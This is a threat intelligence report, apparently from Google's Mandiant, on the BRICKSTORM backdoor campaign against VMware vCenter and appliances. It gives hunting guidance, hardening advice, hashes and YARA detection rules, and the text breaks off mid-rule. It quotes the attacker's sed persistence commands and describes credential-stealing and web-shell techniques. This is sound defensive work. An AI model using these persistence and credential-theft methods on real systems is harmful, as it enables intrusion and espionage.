A consistent challenge across Mandiant investigations into BRICKSTORM intrusions has been determining the initial intrusion vector. In many cases, the average dwell time of 393 days exceeded log retention periods and the artifacts of the initial intrusion were no longer available. Despite these challenges, a pattern in the available evidence points to the actor's focus on compromising perimeter and remote access infrastructure.

In at least one case, the actor gained access by exploiting a zero-day vulnerability. Mandiant has identified evidence of this actor operating from several other edge appliances early in the lifecycle, but could not find definitive evidence of vulnerability exploitation. As noted in our previous blog post from April 2025, Mandiant has identified the use of post-exploitation scripts that have included a wide range of anti-forensics functions designed to obscure entry.

Establish Foothold

The primary backdoor used by this actor is BRICKSTORM, as previously discussed by Mandiant and others. BRICKSTORM includes SOCKS proxy functionality and is written in Go, which has wide cross-platform support. This is essential to support the actor’s preference to deploy backdoors on appliance platforms that do not support traditional EDR tools. Mandiant has found evidence of BRICKSTORM on Linux and BSD-based appliances from multiple manufacturers. Although there is evidence of a BRICKSTORM variant for Windows, Mandiant has not observed it in any investigation. Appliances are often poorly inventoried, not monitored by security teams, and excluded from centralized security logging solutions. While BRICKSTORM has been found on many appliance types, UNC5221 consistently targets VMware vCenter and ESXi hosts. In multiple cases, the threat actor deployed BRICKSTORM to a network appliance prior to pivoting to VMware systems. The actor moved laterally to a vCenter server in the environment using valid credentials, which were likely captured by the malware running on the network appliances.

Our analysis of samples recovered from different victim organizations has found evidence of active development of BRICKSTORM. While the core functionality has remained, some samples are obfuscated using Garble and some carry a new version of the custom wssoft library. Mandiant recovered one sample of BRICKSTORM with a “delay” timer built-in that waited for a hard-coded date months in the future before beginning to beacon to the configured command and control domain. Notably, this backdoor was deployed on an internal vCenter server after the victim organization had begun their incident response investigation, demonstrating that the threat actor was actively monitoring and capable of rapidly adapting their tactics to maintain persistence.

As previously reported, BRICKSTORM deployments are often designed to blend in with the target appliance, with the naming convention and even the functionality of the sample being designed to masquerade as legitimate activity. Mandiant has identified samples using Cloudflare Workers and Heroku applications for C2, as well as sslip.io or nip.io to resolve directly to C2 IP addresses. From the set of samples we’ve recovered, there has been no reuse of C2 domains across victims.

Escalate Privileges

At one investigation, Mandiant analyzed a vCenter server and found the threat actor installed a malicious Java Servlet filter for the Apache Tomcat server that runs the web interface for vCenter. A Servlet Filter is code that runs every time the web server receives an HTTP request. Normally, installing a filter requires modifying a configuration file and restarting or reloading the application; however, the actor used a custom dropper that made the modifications entirely in memory, making it very stealthy and negating the need for a restart. The malicious filter, tracked by Mandiant as BRICKSTEAL, runs on HTTP requests to the vCenter web login Uniform Resource Indicators (URIs) /web/saml2/sso/*. If present, it decodes the HTTP Basic authentication header, which may contain a username and password. Many organizations use Active Directory authentication for vCenter, which means BRICKSTEAL could capture those credentials. Often, users who log in to vCenter have a high level of privilege in the rest of the enterprise. Previously shared hardening guidance for vSphere includes steps that can mitigate the ability of BRICKSTEAL to capture usable credentials in this scenario, such as enforcement of multi-factor authentication (MFA). 

VMware vCenter is an attractive target for threat actors because it acts as the management layer for the vSphere virtualization platform and can take actions on VMs such as creating, snapshotting, and cloning. In at least two cases, the threat actor used their access to vCenter to clone Windows Server VMs for key systems such as Domain Controllers, SSO Identity Providers, and secret vaults. This is a technique that other threat actors have used. With a clone of the virtual machine, the threat actor can mount the filesystem and extract files of interest, such as the Active Directory Domain Services database (ntds.dit). Although these Windows Servers likely have security tools installed on them, the threat actor never powers on the clone so the tools are not executed. The following example shows vCenter VPXD logs of the threat actor using the local vSphere Administrator account to clone a VM.

2025-04-01 03:37:40 [vim.event.TaskEvent] [info] [VSPHERE.LOCAL\Administrator] [<vCenter inventory object>] [<unique identifier>] [Task: VirtualMachine.clone] 2025-04-01 03:37:49 [vim.event.VmBeingClonedEvent] [info] [VSPHERE.LOCAL\Administrator] [<vCenter inventory object>] [<same unique identifier>] [Cloning DC01 on esxi01, in <vCenter inventory object> to DC01-clone on esxi02, in <vCenter inventory object>] 2025-04-01 03:42:07 [vim.event.VmClonedEvent] [info] [VSPHERE.LOCAL\Administrator] [<vCenter inventory object>] [<unique identifier>] [DC01 cloned to DC01-clone on esxi02, in <vCenter inventory object>] 2025-04-01 04:05:40 [vim.event.TaskEvent] [info] [VSPHERE.LOCAL\Administrator] [<vCenter inventory object>] [<unique identifier>] [Task: VirtualMachine.destroy] 2025-04-01 04:05:47 [vim.event.VmRemovedEvent] [info] [VSPHERE.LOCAL\Administrator] [<vCenter inventory object>] [<unique identifier>] [Removed DC01-Clone on esxi02 from <vCenter inventory object>]

In one instance the threat actor used legitimate server administrator credentials to repeatedly move laterally to a system running Delinea (formerly Thycotic) Secret Server. The forensic artifacts recovered from the system were consistent with the execution of a tool, such as secret stealer, to automatically extract and decrypt all credentials stored by the Secret Server application.

Move Laterally 

Typically, at least one instance of BRICKSTORM would be the primary source of hands-on keyboard activity, with two or more compromised appliances serving as backups. To install BRICKSTORM, the actor used legitimate credentials to connect to the appliance, often with SSH. In one instance the actor used credentials known to be stored in a password vault they previously accessed. In another instance they used credentials known to be stored in a PowerShell script the threat actor previously viewed. In multiple cases the actor logged in to either the ESXi web-based UI or the vCenter Appliance Management Interface (VAMI) to enable the SSH service so they could connect and install BRICKSTORM. The following are example VAMI access events that show the threat actor connecting to VAMI and making changes to the SSH settings for vCenter.

::ffff:<Source IP> <vCenter IP>:5480 - [<timestamp>] "GET / HTTP/1.1" 200 1153 "-" "<User Agent>" ::ffff:<Source IP> <vCenter IP>:5480 - [<timestamp>] "POST /rest/com/vmware/cis/session HTTP/1.1" 200 60 "https://10.0.0.255:5480/" "<User Agent>" ::ffff:<Source IP> <vCenter IP>:5480 - [<timestamp>] "PUT /rest/appliance/access/ssh HTTP/1.1" 200 0 "https://10.0.0.255:5480/" "<User Agent>" Establish Persistence

To maintain access to victim environments, the threat actor modified the init.d, rc.local, or systemd files to ensure BRICKSTORM started on appliance reboot. In multiple cases, the actor used the sed command line utility to modify legitimate startup scripts to launch BRICKSTORM. The following are a few example sed commands executed by the actor on vCenter.

sed -i s/export TEXTDOMAIN=vami-lighttp/export TEXTDOMAIN=vami-lighttp\n\/path/to/brickstorm/g /opt/vmware/etc/init.d/vami-lighttp sed -i $a\SETCOLOR_WARNING="echo -en `/path/to/brickstorm`\\033[0;33m" /etc/sysconfig/init

The threat actor has also created a web shell tracked by Mandiant as SLAYSTYLE on vCenter servers. SLAYSTYLE, tracked by MITRE as BEEFLUSH, is a JavaServer Pages (JSP) web shell that functions as a backdoor. It is designed to receive and execute arbitrary operating system commands passed through an HTTP request. The output from these commands is returned in the body of the HTTP response.

Complete Mission

A common theme across investigations is the threat actor’s interest in the emails of key individuals within the victim organization. To access the email mailboxes of target accounts, the threat actor made use of Microsoft Entra ID Enterprise Applications with mail.read or full_access_as_app scopes. Both scopes allow the application to access mail in any mailbox. In some cases, the threat actor targeted the mailboxes of developers and system administrators while in other cases, they targeted the mailboxes of individuals involved in matters that align with PRC economic and espionage interests.

When the threat actor exfiltrated files from the victim environment, they used the SOCKS proxy feature of BRICKSTORM to tunnel their workstation and directly access systems and web applications of interest. In multiple cases the threat actor used legitimate credentials to log in to the web interface for internal code stores and download repositories as ZIP archives. In other cases the threat actor browsed to specific directories and files on remote machines by specifying Windows Universal Naming Convention (UNC) paths.

In several cases the BRICKSTORM samples deployed by the threat actor were removed from compromised systems. In these cases, the presence of BRICKSTORM was observed by conducting forensic analysis of backup images that identified the BRICKSTORM malware in place.

Hunting Guidance

Mandiant has previously discussed the diminishing usefulness of atomic IOCs and the need to adopt TTP-based hunting. Across BRICKSTORM investigations we have not observed the reuse of C2 domains or malware samples, which, coupled with high operational security, means these indicators quickly expire or are never observed at all. Therefore, a TTP-based hunting approach is not only an ideal practice, but a necessity to detect patterns of attack that are unlikely to be detected by traditional signature-based defenses. The following is a checklist of the minimal set of hunts Mandiant recommends organizations conduct to search for BRICKSTORM and related activities.

Step

Hunt

Data Sources

0

Create or update asset inventory that includes edge devices and other appliances

N/A

1

File and backup scan for BRICKSTORM

Appliance file system, backups

2

Internet traffic from edge devices and appliances

Firewall connection logs, DNS logs, IDS/IPS, netflow

3

Access to Windows servers and desktops from appliances

EDR telemetry, Security Event Logs, Terminal Service Logs, Windows UAL

4

Access to credentials and secrets

Windows Shellbags, EDR telemetry

5

Access to M365 mailboxes using Enterprise Application

M365 UAL

6

Cloning of sensitive virtual machines

vSphere VPXD logs

7

Creation of local vCenter and ESXi accounts

VMware audit events

8

SSH enablement on vSphere platform

VMware audit events, VAMI logs

9

Rogue VMs

VMware audit events, VM inventory reports

Create or Update Asset Inventory

Foundational to the success of any threat hunt is an asset inventory that includes devices not covered by the standard security tool stack, such as edge devices and other appliances. Because these appliances lack support for traditional security tools an inventory is critical for developing effective compensating controls and detections. Especially important is to track the management interface addresses of these appliances, as they act as the default gateway that malware and threat actor commands will egress out of.

Mandiant recommends organizations take a multi-step approach to building or updating this inventory:

1. Known knowns: Begin with the appliance classes that all organizations use: firewalls, VPN concentrators, virtualization platforms, conferencing systems, badging, and file storage.

2. Known unknowns: Work across teams to brainstorm appliance classes that may be more specialized to your organization, but the security organization likely lacks visibility into.

3. Unknown unknowns: These are the appliances that were supposed to be decommissioned but weren’t, sales POVs, and others. Consider using network visibility tools or your existing EDR to scan for “live” IP addresses that do not show in your EDR reports. This has the added benefit of identifying unmanaged devices that should have EDR but don’t.

Figure 2: Asset inventory

File and Backup Scan for BRICKSTORM

YARA rules have proven to be the most effective method for detecting BRICKSTORM binaries on appliances. We are sharing relevant YARA rules in the appendix section of this post. Yara can be difficult to run at scale, but some backup solutions provide the ability to run YARA across the backup data store. Mandiant is aware of multiple customers who have identified BRICKSTORM through this method. 

To aid organizations in hunting for BRICKSTORM activity in their environments, Mandiant released a scanner script, which can run on appliances and other Linux or BSD-based systems. 

Internet Traffic from Edge Devices and Appliances

Use the inventory of appliance management IP addresses to hunt for evidence of malware beaconing in network logs. In general, appliances should not communicate with the public Internet from management IP addresses except to download updates and send crash analytics to the manufacturer. 

Established outbound traffic to domains or IP addresses not controlled by the appliance manufacturer should be regarded as very suspicious and warranting forensic review of the appliance. BRICKSTORM can use DNS over HTTP (DoH), which should be similarly rare when sourced from appliance management IP addresses.

Access to Windows Systems from Appliances

The threat actor primarily accessed Windows machines (both desktops and servers) using type 3 (network) logins, although in some cases the actor also established RDP sessions. Appliances should rarely log in to Windows desktops or servers and any connections should be treated as suspicious. Some examples of false positives could include VPN appliances using a known service account to connect to a domain controller in order to perform LDAP lookups and authenticated vulnerability scanners using a well-known service account. 

In addition to EDR telemetry, Terminal Services logs and Security event logs, defenders should obtain and parse the Windows User Access Log (UAL). The UAL is stored on Windows Servers inside the directory Windows\System32\LogFiles\Sum and can be parsed using open-source tools such as SumECmd. This log source records attempted authenticated connections to Windows systems and often retains artifacts going back much longer than typical Windows event logs. Note that this log source includes successful and unsuccessful logins, but is still useful to identify suspicious activity sourced from appliances.

Access to Credentials and Secrets

Use the forensic capabilities of EDR tools to acquire Windows Shellbags artifacts from Windows workstations and servers. Shellbags records folder paths that are browsed by a user with the Windows Explorer application. Use an open-source parser to extract the relevant data and look for patterns of activity that are suspicious:

• Access to folder paths where the initiating user is a service account, especially service accounts that are unfamiliar or rarely used

• File browsing activity sourced from servers that include a Windows Universal Naming Convention (UNC) path that points to a workstation (e.g., \\bobwin7.corp.local\browsing\path)

• File browsing activity to folder paths that contain credential data, such as:

• Browser profile paths (e.g., %appdata%\Mozilla\Firefox\Profiles)

• Appdata locations used to store session tokens (e.g., Users\<username>\.azure\)

• Windows credential vault (%appdatalocal%\Microsoft\Credentials)

• Data Protection API (DPAPI) keys (%appdata%\Microsoft\Protect\<SID>\)

Access to M365 Mailboxes using Enterprise Application

Mandiant has observed this actor use common techniques to conduct bulk email access and exfiltration from Microsoft 365 Exchange Online. Organizations should follow our guidance outlined in our APT29 whitepaper to hunt for these techniques. Although the white paper specifically references APT29, these techniques have become widely used by many groups. In multiple investigations the threat actor used a Microsoft Entra ID Enterprise Application with mail.read or full_access_as_app scopes to access mailboxes of key individuals in the victim organization.

To hunt for this activity, we recommend a phased approach:

1. Enumerate the Enterprise Applications and Application Registrations with graph permissions that can read all mail.

2. For each application, validate that there is at least one secret or certificate configured for it. Record the Application (client) ID

3. Conduct a free text search against the Unified Audit Log or the OfficeActivity table in Sentinel for the client IDs from step 2. This will return the mailitemsaccessed events that recorded the application accessing mail.

4. For each application analyze the source IP addresses and user-agent strings for discrepancies. Legitimate usage of the applications should occur from well-defined IP addresses. Additionally, look for focused interest in key personnel mailboxes across multiple days.

When accessing M365 and other internet-facing services the actor has used multiple commercial VPN and proxy providers. Mandiant has found evidence of the threat actor using PIA, NordVPN, Surfshark, VPN Unlimited, and PrivadoVPN, although there is no reason for these to be the only solutions used. There is also evidence to support that this actor has access to a purpose-built obfuscation network built from compromised small office/home office routers. Mandiant has no knowledge of how these routers are being compromised. The exit nodes for commercial VPNs and obfuscation networks change rapidly and sharing atomic indicators for hunting purposes is unlikely to yield results. Instead, identify the key individuals in the organization, with respect to the organization vertical and likely goals of the threat actor. Fetch mailitemsaccessed logs for those mailboxes for the last year or as long as retention allows. Analyze the SessionID values of the log events and look for IDs that span multiple IP addresses where the IP addresses are not in the user’s typical geographic location.

Cloning of Sensitive Virtual Machines

On VMware vCenter servers, VPXD logs contain valuable information for VM management related tasks such as clone events, powering on and off a VM, and creating snapshots. The threat actor often used the VSPHERE.LOCAL\Administrator account when cloning VMs and targeted VMs that would contain credentials such as password vaults and domain controllers. The threat actor would delete the cloned VM shortly after cloning, and primarily operated between the hours of 01:00 and 10:00 UTC. Investigators should search vCenter VPXD logs for activity that matches the aforementioned criteria and confirm if the cloning activity was intended or not.

Creation of Local vCenter and ESXi Accounts

Mandiant identified evidence the threat actor created a new local account to install BRICKSTORM and then removed the account after they were done. The following logs show the threat actor using the local Administrator account to create a new local account and add it to the BashShellAdministrators group. The threat actor established an SSH connection from a compromised appliance to vCenter using the newly created account and installed the BRICKSTORM backdoor on vCenter. Shortly after, the threat actor deleted the account. Investigators should review audit logs in /var/log/audit/sso-events/audit_events.log for the creation and deletion of local accounts and validate their purpose. In one instance, the threat actor named the account with a similar naming convention as a local service account used for backups on vCenter.

2025-04-01T06:45:32 {"user":"[email protected]","client":"","timestamp":"04/01/2025 06:45:32 GMT","description":"Creating local person user '<account_name>' with details ('','','','','<account_name>@vsphere.local')","eventSeverity":"INFO","type":"com.vmware.sso.PrincipalManagement"} 2025-04-01T06:45:55 {"user":"[email protected]","client":"","timestamp":"04/01/2025 06:45:55 GMT","description":"Adding users '[{Name: <account_name>, Domain: vsphere.local}]' to local group 'Administrators'","eventSeverity":"INFO","type":"com.vmware.sso.PrincipalManagement"} 2025-04-01T06:46:23 {"user":"[email protected]","client":"","timestamp":"04/01/2025 06:46:23 GMT","description":"Updating local group 'SystemConfiguration.BashShellAdministrators' details ('Access bash shell and manage local users on nodes').","eventSeverity":"INFO","type":"com.vmware.sso.PrincipalManagement"} 2025-04-01T06:52:03 <vcenter_hostname> sshd[36952]: Postponed keyboard-interactive/pam for <account_name>@vsphere.local from <compromised_system> 2025-04-01T06:52:30 <vcenter_hostname> sudo: pam_unix(sudo:session): session opened for user root 2025-04-01T06:53:39 Creation of BRICKSTORM on vCenter 2025-04-01T06:56:18 <vcenter_hostname> sudo: pam_unix(sudo:session): session closed for user root 2025-04-01T06:56:25 <vcenter_hostname> sshd[36952]: pam_unix(sshd:session): session closed for user <account_name>@vsphere.local 2025-04-01T06:56:57 {"user":"[email protected]","client":"","timestamp":"04/01/2025 06:56:57 GMT","description":"Removing principals '[{Name: <account_name>, Domain: vsphere.local}]' from local group 'Administrators'","eventSeverity":"INFO","type":"com.vmware.sso.PrincipalManagement"} 2025-04-01T06:58:12 {"user":"[email protected]","client":"","timestamp":"04/01/2025 06:58:12 GMT","description":"Deleting principal '<account_name>'","eventSeverity":"INFO","type":"com.vmware.sso.PrincipalManagement"} SSH Enablement on ESXi and vCenter

For ESXi servers, monitoring should be set up for SSH logins using local accounts. In most organizations it is relatively rare for legitimate direct access to the ESXi hosts over SSH. In many cases the SSH server is disabled by default. Write rules to alert on log events when SSH is enabled for a vSphere platform appliance.

Rogue VMs

Organizations should review VMWare audit events that track the creation and deletion of new VMs, particularly using non-standard ISO images and Operating Systems. Audit events may also record the threat actor downloading archived ISO images to the datastore volumes used by vSphere. 

Hardening Guidance

It is crucial to maintain an up-to-date inventory of appliances and other devices in the network that do not support the standard security tool stack. Any device in that inventory, whether internal or internet-facing, should be configured to follow a principle of least access.

• Internet access: Appliances should not have unrestricted access to the internet. Work with your vendors or monitor your firewall logs to lock down internet access to only those domains or IP addresses that the appliance requires to function properly.

• Internal network access: Appliances exposed to the internet should not have unrestricted access to internal IP address space. The management interface of most appliances does not need to establish connections to internal IP addresses. Work with the vendor to understand specific needsLDAP queries to verify user attributes for VPN logins.

Mandiant has previously published guidance to secure the vSphere platform from threat actors. We recommend you follow the guidance, especially the forwarding of logs to a central SIEM, enabling vSphere lockdown mode, enforcing MFA for web logins, and enforcing the execInstalledOnly policy.

Organizations should assess and improve the isolation of any credential vaulting systems. In many cases if a threat actor is able to gain access to the underlying Operating System, any protected secrets can be exposed. Servers hosting credential vaulting applications should be considered Tier 0 systems and have strict access controls applied to them. Mandiant recommends organizations work with their vendors to adopt secure software practices such as storing encryption keys in the Trusted Platform Module (TPM) of the server.

Outlook and Implications 

Recent intrusion operations tied to BRICKSTORM likely represent an array of objectives ranging from geopolitical espionage, access operations, and intellectual property (IP) theft to enable exploit development. Based on evidence from recent investigations the targeting of the US legal space is primarily to gather information related to US national security and international trade. Additionally, GTIG assesses with high confidence that the objective of BRICKSTORM targeting SaaS providers is to gain access to downstream customer environments or the data SaaS providers host on their customers' behalf. The targeting of technology companies presents an opportunity to conduct theft of valuable IP to further the development of zero-day exploits. 

Acknowledgements 

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Nick Simonian from GTIG Research and Discovery (RAD). We would also like to thank Ryan Tomcik from Mandiant Threat Defense (MTD) for contributing network detection content. 

Indicators of Compromise

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection. Note that Mandiant has not observed instances where the threat actor reused a malware sample and hunting for the exact indicators is unlikely to yield results.

SHA-256 Hash

File Name

Description

90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035

pg_update

BRICKSTORM

2388ed7aee0b6b392778e8f9e98871c06499f476c9e7eae6ca0916f827fe65df

spclisten

BRICKSTORM

aa688682d44f0c6b0ed7f30b981a609100107f2d414a3a6e5808671b112d1878

vmp

BRICKSTORM

YARA Detections G_APT_Backdoor_BRICKSTORM_3 rule G_APT_Backdoor_BRICKSTORM_3 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = { 48 8B 05 ?? ?? ?? ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 04 24 [0-5] E8 ?? ?? ?? ?? EB ?? } $str2 = "regex" ascii wide nocase $str3 = "mime" ascii wide nocase $str4 = "decompress" ascii wide nocase $str5 = "MIMEHeader" ascii wide nocase $str6 = "ResolveReference" ascii wide nocase $str7 = "115792089210356248762697446949407573529996955224135760342422259061068512044369115792089210356248762697446949407573530086143415290314195533631308867097853951" ascii wide nocase condition: uint16(0) == 0x457F and all of them } G_Backdoor_BRICKSTORM_2 rule G_Backdoor_BRICKSTORM_2 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $obf_func = /[a-z]{20}\/[a-z]{20}\/[a-z]{20}\/[a-z]{20}.go/ $decr1 = { 0F B6 4C 04 ?? 0F B6 54 04 ?? 31 D1 88 4C 04 ?? 48 FF C0 [0-4] 48 83 F8 ?? 7C } $decr2 = { 40 88 7C 34 34 48 FF C3 48 FF C6 48 39 D6 7D 18 0F B6 3B 48 39 CE 73 63 44 0F B6 04 30 44 31 C7 48 83 FE 04 72 DA } $decr3 = { 0F B6 54 0C ?? 0F B6 5C 0C ?? 31 DA 88 14 08 48 FF C1 48 83 F9 ?? 7C E8 } $str1 = "main.selfWatcher" $str2 = "main.copyFile" $str3 = "main.startNew" $str4 = "WRITE_LOG=true" $str5 = "WRITE_LOGWednesday" $str6 = "vami-httpdvideo/webm" $str7 = "/opt/vmware/sbin/" $str8 = "/home/vsphere-ui/" $str9 = "/opt/vmware/sbin/vami-http" $str10 = "main.getVFromEnv" condition: uint32(0) == 0x464c457f and ((any of ($decr*) and $obf_func) or (any of ($decr*) and any of ($str*)) or 5 of ($str*)) and filesize < 10MB } G_APT_Backdoor_BRICKSTORM_1 rule G_APT_Backdoor_BRICKSTORM_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $ = "WRITE_LOGWednesday" $ = "/home/vsphere-ui/" $ = "WRITE_LOG=true" $ = "dns rcode: %v" $ = "dns query not specified or too small" $ = "/dev/pts: bad file descriptor" $ = "/libs/doh.Query" $ = "/libs/doh.createDnsMessage" $ = "/libs/doh.unpackDnsMessage" $ = "/core/protocol/websocket.(*WebSocketNetConfig).Dial" $ = "/core/protocol/websocket.(*connection).Read" $ = "/core/protocol/websocket.(*connection).getReader" $ = "/core/protocol/websocket.(*connection).Write" $ = "/core/protocol/websocket.(*connection).Close" $ = "/core/protocol/websocket.(*connection).LocalAddr" $ = "/core/protocol/websocket.(*connection).RemoteAddr" $ = "/core/protocol/websocket.(*connection).SetDeadline" $ = "/core/protocol/websocket.(*connection).SetReadDeadline" $ = "/core/protocol/websocket.(*connection).SetWriteDeadline" $ = "/core/protocol.UnPackHeaderData" $ = "/core/protocol.NewWebSocketClient" $ = "/libs/func1.(*Client).BackgroundRun" $ = "/libs/func1.CreateClient" $ = "/libs/func1.NewService" $ = "/libs/func1.(*Service).Get" $ = "/libs/func1.(*Service).DoTask" $ = "/libs/func1.(*Service).Put" $ = "/core/extends/command.Command" $ = "/core/extends/command.CommandNoContext" $ = "/core/extends/command.ExecuteCmd" $ = "/core/extends/command.RunShell" $ = "/core/extends/socks.UnPackHeaderData" $ = "/core/extends/socks.handleRelay" $ = "/libs/fs.(*RemoteDriver).realPath" $ = "/libs/fs.(*RemoteDriver).ChangeDir" $ = "/libs/fs.(*RemoteDriver).Stat" $ = "/libs/fs.(*SimplePerm).GetMode" $ = "/libs/fs.(*SimplePerm).GetOwner" $ = "/libs/fs.(*SimplePerm).GetGroup" $ = "/libs/fs.(*RemoteDriver).ListDir" $ = "/libs/fs.(*RemoteDriver).DeleteDir" $ = "/libs/fs.(*RemoteDriver).DeleteFile" $ = "/libs/fs.(*RemoteDriver).Rename" $ = "/libs/fs.(*RemoteDriver).MakeDir" $ = "/libs/fs.(*RemoteDriver).GetFile" $ = "/libs/fs.(*RemoteDriver).PutFile" $ = "/libs/fs.(*RemoteDriver).UpFile" $ = "/libs/fs.(*RemoteDriver).MD5" $ = "/libs/doh/doh.go" $ = "/core/protocol/websocket/config.go" $ = "/core/extends/command/command.go" $ = "/libs/fs/driver_unix.go" $ = "/libs/fs/perm_linux.go" condition: uint32(0) == 0x464c457f and 8 of them } G_APT_Backdoor_BRICKSTORM_2 rule G_APT_Backdoor_BRICKSTORM_2 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = { 0F 57 C0 0F 11 84 ?? ?? ?? ?? ?? C6 44 ?? ?? 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 0F 57 C0 0F 11 84 ?? ?? ?? ?? ?? 0F 11 84 ?? ?? ?? ?? ?? 4? 8B 84 ?? ?? ?? ?? ?? 4? 89 04 ?? 4? 8B 8C ?? ?? ?? ?? ?? 4? 89 4C ?? ?? E8 ?? ?? ?? ?? 4? 83 7C ?? ?? 00 0F 84 ?? ?? ?? ?? 4? 8D 05 ?? ?? ?? ?? 4? 89 ?? ?? E8 ?? ?? ?? ?? 4? 8B 7C ?? ?? 4? 8B 84 ?? ?? ?? ?? ?? 4? 89 47 08 83 3D ?? ?? ?? ?? 00 75 ?? 4? 8B 84 ?? ?? ?? ?? ?? 4? 89 07 4? 89 BC ?? ?? ?? ?? ?? 4? C7 84 ?? ?? ?? ?? ?? 01 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 01 00 00 00 0F 57 C0 0F 11 84 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? ?? 4? 81 C4 ?? ?? ?? ?? C3 } $str2 = { 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? 8B 84 ?? ?? ?? ?? ?? 4? 89 04 ?? 4? 8B 8C ?? ?? ?? ?? ?? 4? 89 4C ?? ?? E8 ?? ?? ?? ?? 4? 8B 44 ?? ?? 4? 85 C0 0F 84 ?? ?? ?? ?? 4? 8D 05 ?? ?? ?? ?? 4? 89 ?? ?? E8 ?? ?? ?? ?? 4? 8B 44 ?? ?? 4? 8B 8C ?? ?? ?? ?? ?? 4? 89 48 08 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 4? 8B 8C ?? ?? ?? ?? ?? 4? 89 08 84 00 4? 89 84 ?? ?? ?? ?? ?? 4? C7 84 ?? ?? ?? ?? ?? 01 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 01 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 4? C7 84 ?? ?? ?? ?? ?? 00 00 00 00 90 E8 ?? ?? ?? ?? 4? 8B ?? ?4 D8 00 00 00 4? 81 C4 E0 00 00 00 C3 } condition: uint32be(0) == 0x7F454C46 and any of them } G_APT_BackdoorWebshell_SLAYSTYLE_1 rule G_APT_BackdoorWebshell_SLAYSTYLE_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = /String \w{1,10}=request\.getParameter\(\"\w{1,15}\"\);/ ascii wide nocase $str2 = "=new String(java.util.Base64.getDecoder().decode(" ascii wide nocase $str21 = /String\[\]\s\w{1,10}=\{\"\/bin\/sh\",\"-c\",\w{1,10}\+\"\s2>&1\"\};/ ascii wide nocase $str3 = "= Runtime.getRuntime().exec(" ascii wide nocase $str4 = "java.io.InputStream" ascii wide nocase $str5 = "java.util.Base64.getEncoder().encodeToString(org.apache.commons.io.IOUtils.toByteArray(" ascii wide nocase condition: filesize < 5MB and all of them } G_APT_BackdoorWebshell_SLAYSTYLE_2 rule G_APT_BackdoorWebshell_SLAYSTYLE_2 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = "request.getParameter" nocase $str2 = "/bin/sh" $str3 = "java.io.InputStream" nocase $str4 = "Runtime.getRuntime().exec(" nocase $str5 = "2>&1" condition: (uint16(0) != 0x5A4D and uint32(0) != 0x464C457F) and filesize < 7KB and all of them and @str4 > @str2 } G_Backdoor_BRICKSTEAL_1 rule G_Backdoor_BRICKSTEAL_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = "comvmware" $str2 = "abcdABCD1234!@#$" $str3 = "ads.png" $str4 = "User-Agent" $str5 = "com/vmware/" condition: all of them and filesize < 10KB } G_Dropper_BRICKSTEAL_1 rule G_Dropper_BRICKSTEAL_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = "Base64.getDecoder().decode" $str2 = "Thread.currentThread().getContextClassLoader()" $str3 = ".class.getDeclaredMethod" $str4 = "byte[].class" $str5 = "method.invoke" $str6 = "filterClass.newInstance()" $str7 = "/websso/SAML2/SSO/*" condition: all of them } G_Dropper_BRICKSTEAL_2 rule G_Dropper_BRICKSTEAL_2 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $str1 = /\(Class<\?>\)\smethod\.invoke\(\w{1,20},\s\w{1,20},\s0,\s\w{1,20}\.length\);/i ascii wide $str2 = "(\"yv66vg" ascii wide $str3 = "request.getSession().getServletContext" ascii wide $str4 = ".getClass().getDeclaredField(" ascii wide $str5 = "new FilterDef();" ascii wide $str6 = "new FilterMap();" ascii wide condition: all of them } Network Detections

Google SecOps customers have access to these broad category rules and more under the Mandiant Front-Line Threats rule pack. The following are YARA-L 2.0 rules for use in Google Security Operations; however, their logic can be replicated into other formats for use in other security products.

Multiple DNS-over-HTTPS Services Queried rule hunting_t1071_001_multiple_dns_over_https_services_queried { meta: rule_name = "Multiple DNS-over-HTTPS Services Queried" severity = "Low" tactic = "TA0011" // Command and Control technique = "T1071.001" // Application Layer Protocol: Web Protocols reference = "https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign" description = "Detects on requests by a source IP address to DNS-over-HTTPS (DoH) resolver IP addresses associated with multiple services, such as Quad9, Google DNS, and CloudFlare DNS. DoH is a protocol that encrypts DNS queries and responses using the HTTPS protocol. Threat actors may use DoH to obfuscate domain names associated with their externally hosted infrastructure that would otherwise be visible in standard DNS queries." events: $e.metadata.event_type = "NETWORK_CONNECTION" $e.target.ip = /^(8\.8\.8\.8|8\.8\.4\.4|9\.9\.9\.9|9\.9\.9\.11|1\.1\.1\.1|1\.0\.0\.1|45\.90\.28\.160|45\.90\.30\.160|149\.112\.112\.112|149\.112\.112\.11)$/ nocase ( $e.target.port = 443 or $e.target.url = /dns-query|:443\/$|\d\.\d\.\d\.\d\/$/ nocase ) $source_entity = strings.coalesce($e.principal.asset_id,$e.principal.ip) match: $source_entity over 2h outcome: $risk_score = max(35) $unique_doh_ips_count = count_distinct($e.target.ip) condition: $e and $unique_doh_ips_count >= 5 options: allow_zero_values = true } Unknown Endpoint Generating DNS-over-HTTPS and Web Application Development Services Communication rule hunting_t1071_001_unknown_endpoint_generating_doh_and_web_development_services_communication { meta: rule_name = "Unknown Endpoint Generating DNS-over-HTTPS and Web 